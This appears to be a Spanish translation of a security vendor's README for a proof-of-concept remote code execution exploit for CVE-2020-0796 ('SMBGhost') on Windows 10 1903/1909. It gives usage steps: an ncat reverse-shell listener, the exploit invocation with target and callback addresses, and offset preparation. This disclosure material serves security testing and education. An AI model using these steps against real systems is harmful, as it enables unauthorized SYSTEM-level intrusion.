
CVE-2020-0796 Ejecución remota de código POC
(c) 2020 ZecOps, Inc. - https://www.zecops.com - Encuentra los errores de los atacantes
Prueba de Concepto de Ejecución Remota de Código para CVE-2020-0796 / "SMBGhost"
Resultado esperado: Shell inversa con acceso al sistema.
Destinado únicamente para fines educativos y pruebas en entornos corporativos.
ZecOps no asume ninguna responsabilidad por el código, úselo bajo su propio riesgo.
Por favor, contacte a [email protected] si está interesado en herramientas DFIR sin agente para Servidores, Puntos Finales y Dispositivos Móviles para detectar SMBGhost y otros tipos de ataques automáticamente.
Asegúrese de que Python y ncat estén instalados.
Ejecute calc_target_offsets.bat en la computadora objetivo y ajuste los offsets al principio del archivo SMBleedingGhost.py según la salida del script (también vea la nota a continuación).
Ejecute ncat con los siguientes argumentos de línea de comandos:
ncat -lvp <port>
Donde <port> es el número de puerto en el que ncat estará escuchando.
Ejecute SMBleedingGhost.py con los siguientes argumentos de línea de comandos:
SMBleedingGhost.py <target_ip> <reverse_shell_ip> <reverse_shell_port>
Donde <target_ip> es la dirección IP de la computadora objetivo vulnerable. <reverse_shell_ip> y <reverse_shell_port> son la dirección IP y el número de puerto en los que ncat está escuchando.
Si todo va bien, ncat mostrará una shell que proporciona acceso al sistema de la computadora objetivo.
Nota: Quizás se pregunte por qué es necesario ejecutar el script calc_target_offsets.bat en la computadora objetivo, y si no eso contradice el propósito de que la ejecución remota de código sea remota. Estos offsets no son aleatorios y son los mismos en todas las instancias de Windows de la misma versión. Se podría hacer el ataque más universal detectando la versión de Windows objetivo y ajustando los offsets automáticamente, o prescindiendo de ellos por completo, pero es solo una POC e hicimos lo más simple. También consideramos algo bueno que la POC no sea universal y no sea conveniente para usos distintos a pruebas y educación.

Las versiones de Windows 10 1903 y 1909 están afectadas. Las versiones sin parche de Windows 10 1903 no son compatibles debido a un error de desreferencia nula en Windows (corregido en KB4512941).
Debido a la naturaleza de la explotación, la POC funciona mejor en objetivos que se ejecutan en una computadora (o una VM) con un solo procesador lógico. Los objetivos con más de un procesador lógico que se ejecutan en VirtualBox también deberían ser compatibles, pero la POC es menos confiable en ese caso. Otros objetivos podrían no ser compatibles. Para más detalles, consulte nuestro informe técnico a continuación.